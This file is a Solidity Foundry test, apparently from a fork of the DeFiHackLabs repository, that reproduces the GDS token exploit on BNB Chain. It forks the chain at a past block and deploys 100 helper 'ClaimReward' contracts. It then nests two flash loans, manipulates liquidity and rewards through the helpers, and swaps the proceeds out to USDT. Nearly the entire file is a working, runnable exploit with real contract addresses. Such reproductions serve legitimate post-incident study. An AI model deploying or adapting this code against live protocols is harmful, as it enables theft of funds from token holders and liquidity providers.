forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
GDS_exp.sol
185 lines (159 loc) · 6.8 KB
/
GDS_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/peckshield/status/1610095490368180224
// https://twitter.com/BlockSecTeam/status/1610167174978760704
// @TX
// https://bscscan.com/tx/0xf9b6cc083f6e0e41ce5e5dd65b294abf577ef47c7056d86315e5e53aa662251e
// https://bscscan.com/tx/0x2bb704e0d158594f7373ec6e53dc9da6c6639f269207da8dab883fc3b5bf6694
interface GDSToken is IERC20 {
function pureUsdtToToken(uint256 _uAmount) external returns (uint256);
}
interface ISwapFlashLoan {
function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;
}
interface IClaimReward {
function transferToken() external;
function withdraw() external;
}
contract ClaimReward {
address Owner;
GDSToken GDS = GDSToken(0xC1Bb12560468fb255A8e8431BDF883CC4cB3d278);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
Uni_Pair_V2 Pair = Uni_Pair_V2(0x4526C263571eb57110D161b41df8FD073Df3C44A);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
address deadAddress = 0x000000000000000000000000000000000000dEaD;
constructor() {
Owner = msg.sender;
}
function transferToken() external {
GDS.transfer(deadAddress, GDS.pureUsdtToToken(100 * 1e18));
Pair.transfer(Owner, Pair.balanceOf(address(this)));
}
function withdraw() external {
GDS.transfer(deadAddress, 10_000);
Pair.transfer(Owner, Pair.balanceOf(address(this)));
GDS.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(GDS);
path[1] = address(USDT);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
GDS.balanceOf(address(this)), 0, path, Owner, block.timestamp
);
}
}
contract ContractTest is DSTest {
GDSToken GDS = GDSToken(0xC1Bb12560468fb255A8e8431BDF883CC4cB3d278);
IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0x28ec0B36F0819ecB5005cAB836F4ED5a2eCa4D13);
Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
Uni_Pair_V2 Pair = Uni_Pair_V2(0x4526C263571eb57110D161b41df8FD073Df3C44A);
address[] contractList;
uint256 PerContractGDSAmount;
uint256 SwapFlashLoanAmount;
uint256 dodoFlashLoanAmount;
address deadAddress = 0x000000000000000000000000000000000000dEaD;
address dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 24_449_918);
cheats.label(address(GDS), "GDS");
cheats.label(address(USDT), "USDT");
}
function testExploit() public {
address(WBNB).call{value: 50 ether}("");
WBNBToUSDT();
USDTToGDS(10 * 1e18);
GDSUSDTAddLiquidity(10 * 1e18, GDS.balanceOf(address(this)));
USDTToGDS(USDT.balanceOf(address(this)));
PerContractGDSAmount = GDS.balanceOf(address(this)) / 100;
ClaimRewardFactory();
cheats.roll(block.number + 1100);
SwapFlashLoan();
emit log_named_decimal_uint(
"Attacker USDT balance after exploit", USDT.balanceOf(address(this)) - 50 * 250 * 1e18, USDT.decimals()
);
}
function SwapFlashLoan() internal {
SwapFlashLoanAmount = USDT.balanceOf(address(swapFlashLoan));
swapFlashLoan.flashLoan(address(this), address(USDT), SwapFlashLoanAmount, new bytes(1));
}
function executeOperation(
address pool,
address token,
uint256 amount,
uint256 fee,
bytes calldata params
) external {
DODOFLashLoan();
USDT.transfer(address(swapFlashLoan), SwapFlashLoanAmount * 10_000 / 9992 + 1000);
}
function DODOFLashLoan() internal {
dodoFlashLoanAmount = USDT.balanceOf(dodo);
DVM(dodo).flashLoan(0, dodoFlashLoanAmount, address(this), new bytes(1));
}
function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
USDTToGDS(600_000 * 1e18);
GDSUSDTAddLiquidity(USDT.balanceOf(address(this)), GDS.balanceOf(address(this)));
WithdrawRewardFactory();
GDSUSDTRemovLiquidity();
GDSToUSDT();
USDT.transfer(dodo, dodoFlashLoanAmount);
}
function ClaimRewardFactory() internal {
for (uint256 i = 0; i < 100; i++) {
ClaimReward claim = new ClaimReward();
contractList.push(address(claim));
Pair.transfer(address(claim), Pair.balanceOf(address(this)));
GDS.transfer(address(claim), PerContractGDSAmount);
claim.transferToken();
}
}
function WithdrawRewardFactory() internal {
for (uint256 i = 0; i < 100; i++) {
Pair.transfer(contractList[i], Pair.balanceOf(address(this)));
IClaimReward(contractList[i]).withdraw();
}
}
function WBNBToUSDT() internal {
WBNB.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(WBNB);
path[1] = address(USDT);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
function USDTToGDS(uint256 USDTAmount) internal {
USDT.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(USDT);
path[1] = address(GDS);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
USDTAmount, 0, path, address(this), block.timestamp
);
}
function GDSUSDTAddLiquidity(uint256 USDTAmount, uint256 GDSAmount) internal {
USDT.approve(address(Router), type(uint256).max);
GDS.approve(address(Router), type(uint256).max);
Router.addLiquidity(address(USDT), address(GDS), USDTAmount, GDSAmount, 0, 0, address(this), block.timestamp);
}
function GDSUSDTRemovLiquidity() internal {
Pair.approve(address(Router), type(uint256).max);
Router.removeLiquidity(
address(USDT), address(GDS), Pair.balanceOf(address(this)), 0, 0, address(this), block.timestamp
);
}
function GDSToUSDT() internal {
GDS.approve(address(Router), type(uint256).max);
address[] memory path = new address[](2);
path[0] = address(GDS);
path[1] = address(USDT);
Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
GDS.balanceOf(address(this)), 0, path, address(this), block.timestamp
);
}
}